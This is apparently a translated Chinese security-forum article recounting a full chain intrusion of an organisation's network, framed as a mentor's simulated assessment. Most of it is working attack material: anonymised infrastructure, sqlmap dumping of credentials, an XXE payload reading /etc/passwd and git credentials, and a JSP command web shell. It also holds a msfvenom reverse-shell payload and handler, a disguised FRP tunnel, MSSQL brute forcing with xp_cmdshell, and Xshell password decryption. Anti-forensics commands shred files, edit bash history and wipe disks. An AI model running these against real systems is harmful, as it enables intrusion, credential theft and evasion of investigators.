The Art of Chain Attacks in Internal Network Penetration

This article is based on a simulated practical environment assessment conducted by Master Z for his apprentice 007, aimed at evaluating his thought process and capabilities in penetrating entry-level environments. The content is derived from 007’s retelling and records the entire chain attack path he took to penetrate the designated target in considerable detail. As a penetration novice, I feel I have learned a lot from this and, with permission, share it for collective learning!

0x00 Introduction

The background of this article is a simulated practical environment assessment conducted by Master Z for his apprentice 007, aimed at evaluating his thought process and capabilities in penetrating entry-level environments. The content is derived from 007’s retelling and records the entire chain attack path he took to penetrate the designated target in considerable detail. As a penetration novice, I feel I have learned a lot from this and, with permission, share it for collective learning!

0x01 Penetration Preparation

Browser Settings:

1) Ensure Chrome is updated to the latest version.

2) Set all permissions in Chrome settings to disallow.

3) Clear all privacy settings and security in Chrome.

4) Install WebRTC Network Limiter to disable UDP requests and prevent IP leakage.

5) Install a reliable User-Agent obfuscation plugin, as many plugins in the market still leak UA.

6) Install Privacy Badger to prevent tracking.

7) Install ModHeader to obfuscate HTTP protocol information and spoof IP headers.

IP Hiding Settings:

External Network:

Purchase 3-5 VPS from different platforms through high anonymity channels for future use.

Select one to set up a VPN, and another to set up Clash/v2ray to connect to other airports for high-speed proxy back to the domestic network, ensuring data encryption during transmission to prevent uncontrollable external risks.

Internal Network:

Use a Raspberry Pi as a soft router, joining the global proxy to ensure the VPN does not go down, adding an extra layer of proxy for the source IP to prevent real IP leakage.

Physical Environment:

Use a non-registered disposable SIM card/mobile card with prepaid balance, change it after one use.

Desktop Environment:

After multiple rewrites of a portable SSD, install a clean Linux/MacOS system, then install the corresponding platform’s virtual machine and copy a clean Kali image for desktop use, executing a custom workflow installation script to install stable versions of some well-known open-source tools.

Network Anonymity Check Sites:

https://whoer.net/

https://www.astrill.com/

https://proxy-checker.net/

Notes:

Avoid using third-party tools as much as possible, avoid full-volume brute force (easy to trigger alerts), avoid relying on script POCs, and conduct manual testing as much as possible using native system tools, being adept at disguising native behaviors to perform a series of low-perception, low-trace, and harmless penetration actions.

1. Regarding the content of the penetration preparation stage, I believe it is largely unnecessary, but readers can adjust it based on personal needs to make this stage more detailed, which helps reduce the probability of being traced. However, if there is a lack of sufficiently mature anonymity facilities, these actions may hinder the speed of penetration to some extent, thus serving as a starting point for discussion, varying by individual and location.

0x02 Initial Setup

Target Domain: xxxxxxx.com

Expected Goal: To understand the internal network topology at low cost and within a short time (2-3 days), locating the core machines and completing takeover.

The main domain is a portal website with limited functionality, and no entry points were found, so the work can shift to the setup stage of extending attack surfaces.

Subdomain Information:

1.  subfindr -d xxxxxxx.com -o redacted.txt  

IP Detection (cdn):

1.  cat redacted.txt|xargs -P 5 -I {}  mip {}  

Analyze historical resolution records of the domain, multi-node Ping, confirm no CDN, obtain real network segment 1.0.0.1/24

Port Scanning:

1.  # VPS  
2.  masscan -p1-65535 --rate=2000  1.0.0.1/24  
3.    
4.  # FOFA/ZOOMEYE/SHODAN aggregation  
5.  Search: ip = "1.0.0.1/24"  

Retrieve title information:

1.  cat redacted.txt|httpx  -threads 5  -web-server --title --status-code  
2.  cat ip.txt|httpx  -threads 5  -web-server --title --status-code  

Scan robots.txt:

1.  cat redacted.txt|httpx -threads  20 --title --status-code -path '/robots.txt'  
2.  cat ip.txt|httpx -threads  20 --title --status-code -path '/robots.txt'  

Scan for file leaks:

1.  cat redacted_all.txt|nuclei -rate-limit 50 -tlog request.debug -t ~/nuclei-templates/files/  
2.  Google Dork:  
3.  site:xxxxxxx.com inurl:login  
4.  site:xxxxxxx.com inurl:upload  
5.  site:xxxxxxx.com intext:管理|登陆｜邮箱｜手机  
6.  site:xxxxxxx.com ext:docx|pdf  
7.  ......  

Collected multiple login ports and their open services:

1.  https://xxxxxxx.com/stuxxx/login.html  
2.  https://xxxxxxx.com/conxxx/login/login.html  
3.  https://redacted.xxxx.com/conxxx/  
4.  http://ixx.xxxxxxx.com/conxxx/  
5.  http://exam.xxxxxxx.com/exam/  
6.  https://peixxxx.xxxxxxx.com/peixxx/login/  
7.  http://ixx.xxxxxxx.com/console/  
8.  https://x.x.x.x:6443/welcome.php  Random VPN  
9.  ......  

Social relationship information: organization members, management personnel emails, domain registration information, recruitment information…

0x03 Boundary Vulnerabilities

Load the default Burp configuration, actively turn off passive scanning mode, configure the Project Option proxy, and set the Target Options. Next, use a browser with the Burp proxy attached to test the numerous WEB service URLs obtained in the setup stage.

3.1 Discover SQL Injection

In a certain subdomain’s user center, the order viewing function initiates a POST request, with the parameter course_id being quite suspicious.

1.  POST /xxxx/pay/addTrade HTTP/1.1  
2.  body: course_id = 1  

Through simple arithmetic and closing with )｜’|”, it is determined that there is a blind SQL injection without echo, supporting boolean blind injection and time-based injection. The downside of boolean blind injection is that a successful match will generate an order, which seems very abnormal, so a script may need to be written for improvement, or time-based injection may be chosen. Here, I chose time-based injection because POST requests are more discreet than GET requests, and after testing, the current site’s defense level is very low, with no WAF, so SQLMAP can be selected to read the specified admin table:

1.  sqlmap -r redacted.txt --technique T --random-agent  --proxy=http://127.0.0.1:8080 --threads=10 -D course -T user -C "username, password" –dump  

1. SQLMAP’s probing methods are better than most script kiddies, and it is important to note that SQLMAP must be attached to the Burp proxy to bypass HTTPS verification, allowing auditing of the HTTP packet content sent by SQLMAP through Burp.

After a period of waiting, the admin account and password information can be obtained, with the password being in plaintext. At this point, there is no need to rush to log in, as it may not necessarily lead to a shell. It is known that the database is SQLSERVER, and the view permission is DBA, so I tried to stack command execution, but the return result was very slow, and SQLMAP reported an error, making it impossible to exploit directly, so I recorded it first.

3.2 Discover Unauthorized Redis

Utilizing information from network space search engines in the setup stage can quickly locate the target Redis with unauthorized access.

1.  redis-cli -h 1.0.0.126  

Windows 64-bit machine, Redis version 3.2.100, no master-slave replication, can consider writing a shell or startup item for GetShell.

After writing the startup item with a tool, it needs to wait for a restart to take effect. Therefore, I wanted to write a shell through the path, trying to scan the web services on the machine to collect path information:

1.  masscan -p1-65535 1.0.0.126 --rate=20000 >2.txt  
2.  cat 2.txt | grep -P '(\d+)/tcp' -o|grep -P '\d+' -o >ports.txt  
3.  # Pure port scan  
4.  cat ports.txt |xargs -I {} echo "1.0.0.126:"{}|httpx -o 200_port.txt  
5.  # Host scan  
6.  cat ports.txt |xargs -I {} echo "x.xxxxxxx.com:"{}|httpx -o 200_host.txt  

Directory scanning with dirsearch:

1.  cat 200_*.txt|xargs -I {} dirsearch --random-agents -t 20 -u {} -e *  

FUZZ did not yield significant results, port 9000 opened a GitLab service, GitLab Community Edition 8.15.1, other ports returned 404, with no path information.

For the GitLab on port 9000, I attempted CVE-2021-22205’s script on GitHub but found no success. Considering this version is quite old, I will keep it for now, and if there are no new ideas later, I will research it again, as casually exploiting an old version’s 1-day vulnerability is not too much of a problem.

0x04 Exploiting: Command Execution

At this point, there is a high probability of obtaining a shell, but one situation needs to be considered: the Redis machine may not be able to access the internet. Therefore, I need to switch to a listening type of trojan, which is slightly more complicated and not very suitable for a short-term operational mindset. Currently, I still want to find a direct path into the internal network, so I return to the SQL injection point, using the SQL injection to log into the website backend with the account and password obtained.

Observing the JS, I found a path for Ueditor. If it were ASP.NET, it might be manageable, but for JSP, there are generally no vulnerabilities. I tested by uploading an image, and as expected, there was no misconfiguration. By continuing to click various functions, I found a setting option for question answers that used XML data type, and I inserted XML injection statements for testing:

1.  <?xml version="1.0" encoding="utf-8"?>   
2.  <!DOCTYPE items [    
3.  <!ENTITY test SYSTEM "file:///etc/passwd"> ]>  
4.  <items>  
5.  <item><serial>1</serial><answer>0</answer><title>&test;</title></item>  
6.  <item><serial>2</serial><answer>1</answer><title><![CDATA[2]]></title></item>  
7.  <item><serial>3</serial><answer>0</answer><title><![CDATA[3]]></title></item>  
8.  <item><serial>4</serial><answer>0</answer><title><![CDATA[4]]></title></item>  
9.  </items>  

Returning to the answer options, I found that it could normally echo out information, and Java’s XXE supports the file:// protocol to list directories, so I could collect a lot of interesting information, such as .git-credentials.

Using the information in the file, we can try logging into GitLab on port 9000, and it works, success with admin privileges.

After rummaging through the project, I quickly located the related project in the GitUtilController.java file’s other method, passing controllable parameters into the gitCmds method for command concatenation, resulting in command execution. By reading the routing interfaces in the project, it is easy to construct a POC for exploitation.

Initially planning to directly reverse the shell, I was puzzled as the machine could not access my VPS or reverse-shell.sh, and Tomcat did not support passing symbols like -, |, which prevented normal file writing. To simplify matters, I ultimately chose to upload a CMD JSP and a one-liner from AntSword, which was quite smooth.

1.  <%  
2.      **if**("023".equals(request.getParameter("pwd"))){  
3. java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();  
4.          **int** a = -1;  
5.          byte[] b = **new** byte[2048];  
6.          out.print("");  
7.          **while**((a=in.read(b))!=-1){  
8.              out.println(**new** String(b));  
9.          }  
10.         out.print("");  
11.     }  
12. %>  

After successfully obtaining a shell, my first thought was to enter the internal network; otherwise, what’s the point of messing with Linux? Information collection can be organized later; the priority is to build a tunnel to the internal network and a good interactive execution environment.

007 has a deep obsession with tunnels, and I believe there are many ways to achieve this, such as scanning and database brute-forcing based on JSP files, and it doesn’t necessarily have to be done with familiar tools to test externally.

0x07 Going in Circles into the Internal Network

I originally thought changing servers would yield different results, but it was the same situation, which made me lose my composure. Later, I had to think of ways to create a proxy to facilitate local fuzzing of internal network services.

Trying reGrorg

Upload proxy.jsp and try using a web proxy; its performance is mediocre but can support basic RDP data transmission.

1.  https://xxx.xxxxxxx.com/ueditor/jsp/xxx/proxy.jsp  

Locally build a proxy:

1.  python neoreg.py  -u "https://xxx.com/ueditor/xx/xx/proxy.jsp" -k password -p 9999  

Then use kscan for socks5 proxy scanning:

1.  kscan --proxy socks5://127.0.0.0:9999  -t 1.0.0.0/24 --threads 10  

The results were quite unsatisfactory, and the scanning quality was poor.

After continuing to fiddle with this low-speed proxy for dozens of minutes, there were no significant gains, mainly due to lag. However, during this process, after testing other points with the shell, I discovered that the reason for the command not echoing back was that Nginx’s proxy had set a timeout window; requests exceeding the window would be disconnected, resulting in no command result echo. It was discovered later that it was not a battle! I managed to obtain an IP of a domestic machine to use socat for port forwarding, and everything seemed to improve.

MSF Online

Generate a Linux ELF trojan file:

1.  msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=172.16.252.129 LPORT=443 -f elf > shell.elf  

MSF Server configuration:

1.  use exploit/multi/handler  
2.  set payload linux/x64/meterpreter/reverse_tcp  
3.  set lhost 172.16.252.129  
4.  set lport 443  
5.  show options  
6.  exploit  

Reverse shell comes online

Configure FRP

1.  upload ../shell/frpc   
2.  upload ../shell/frpc.ini  

Switch to shell:

1.  mv frpc systemed  
2.  mv frpc.ini config.ini  
3.  chmod +x ./systemed  
4.  ./systemed -c config.ini  

0x08 Internal Network Roaming

Once inside the internal network, everything felt like cutting vegetables; a simple nmap full scan confirmed that there was basically no protective software.

With limited time left, I considered using tools directly.

Quickly locate management machines:

shell1:

shell2:

It is not difficult to determine that the core control lies in 57, 102, 131, 159, and 220, with 56 and 58 being relatively rare.

Quickly locate Web services;

1.  ./kscan -Pn -t 1.0.0.0/24 -p 80,443,8000-9000   

No centralized WEB services like bastion hosts were found; all were easily accessible sites, as there was source code, it was uninteresting.

Due to many 1433 ports being open, consider brute-forcing the database to take down several Windows machines and check the password rules for Windows.

1.  hydra -L u.txt -P p.txt  -M t.txt mssql -vV  

I found one machine was 56? Isn’t this the control machine? Good fortune smiled upon me.

1.  exec master..xp_cmdshell "whoami && ipconfig && nslookup baidu.com"   

System permissions, although it cannot access the internet, this is not a big problem. Finding an outbound machine in other databases as a foothold is sufficient. The plan I chose was to construct a shared directory on the outbound Windows machine (easy to delete) for passing the trojan, using a forward shell, which successfully came online.

1.  exec master..xp_cmdshell "cmd \c \\1.0.0.29\360.exe"   

Directly dump a wave of passwords.

Goodness, this wave allowed me to grasp the pattern; the password format is db+56@xxx. I ran Hydra for a wave and took down some Windows machines.

At the same time, while browsing the desktop folder of machine 56, I discovered a shortcut for Xshell, making everything seem quite simple.

Xshell Default Path

C:\Users\Administrator\AppData\Roaming\NetSarang\Xshell\Sessions\

Xshell version is 3.0<5.1, which uses fixed key encryption; I ran a script online to decrypt it.

Then, naturally, I substituted these account passwords, ran nmap scripts, processed the results with Python, and successfully obtained control over more than a dozen other Linux servers.

1.  #!/usr/bin/env python3  
2.  # -*- coding:utf-8 -*-  
3.    
4.  import re  
5.  with open("200.txt", "r") as f:  
6.      content = f.read()  
7.  result = re.findall(r"for (\d+.\d+.\d+.\d+)(?:.|\n)*?Accounts:(?:.|\n)*?(\w+:.*?)-(?:.|\n)*?",content)  
8.  **for** x in result:  
9.      print(x)  

Thus, based on these three passwords, the core WEB servers can be fully controlled. The penetration target is essentially complete, and continuing further would not be very meaningful.

Using nmap to summarize the Linux servers that were not taken down:

Using nmap to summarize the Windows servers that were not taken down:

After a series of tests, I felt that these machines did not have much interesting information; instead, there was some information on other IPs that could lead to development for implanting trojans.

However, among the IPs that were not taken down, there was a core control machine 57, which felt like a chance to expand the scope, but it didn’t hold much significance for me. Moreover, based on the password characteristics I had organized, slowly brute-forcing it would not be very difficult.

0x09 Trace Cleanup

Every time after completing a project, a large amount of time must be spent cleaning traces, so before each penetration, I must consider how to do it to reduce the workload of this stage. For example, tools uploaded to a certain unified hidden folder, tools detecting environment variables for deletion, writing scripts to automatically delete logs, etc…

We penetrated from the outside in, so cleaning traces should be done from the inside out, processing it in reverse, similar to stack operations.

1) Generally, I will not connect via RDP since this leaves system audit logs; otherwise, I need to open the log manager to clear it.

2) I generally do not land CS; before ending CS, I check all processes with tasklist /svc to ensure that injected powershell is exited.

3) Any landed CS trojan must be deleted once to increase tracing costs. Generally speaking, my trojan’s design in anti-sandboxing is contrary to conventional thinking. This test was relatively successful, as no sandbox came online, indicating the backdoor has not been uploaded for analysis.

4) For Linux, clear a series of processes and delete shell files and their corresponding directories; this part is planned to be unified with in-memory shells later.

1.  ps -ef|grep 'pty'|grep -v 'grep'|awk '{print $2}'|xargs -I {} kill -9 {}  
2.  ps -ef|grep '/bin/sh -c cd'|grep -v 'grep'|awk '{print $2}'|xargs -I {} kill -9 {}  
3.  shred -zvu -n 5 ./temp/*.jsp  
4.  rm -r ./temp  
5.  sed '120,$d' -i  /root/.bash_history   
6.  ......  

5) For databases and log files, try to delete them, fuzzy search log strings, locate based on date, and selectively delete obvious traces. It is impossible to achieve 100% trace-free, as there may be upstream records; the goal is to increase the cost of tracing paths.

6) Format the VPS server to delete all information.

1.   dd **if**=/dev/zero of=/dev/raw/raw1 bs=1k count=3000  

0x10 Conclusion

It was a pleasure to exchange knowledge on internal network penetration with 007, and I am very grateful for 007’s patient guidance and admire his willingness to generously share his commonly used chain penetration ideas. Combining 007’s target case, I summarized the chain process: initial preparation -> boundary setup -> 0day/1day GetShell -> internal network proxy -> internal network roaming -> trace cleanup -> reflection and improvement. I must say this process is indeed very complete and has reference value, but some details were not further elaborated by 007, which is somewhat regrettable!

Reprint: https://forum.butian.net/share/1391 Author: 26th Courtyard, everyone can follow the author

Click the small card below or scan the QR code below to watch moreTechnical Articles

Support from masters through likes, shares, and views is the greatest encouragement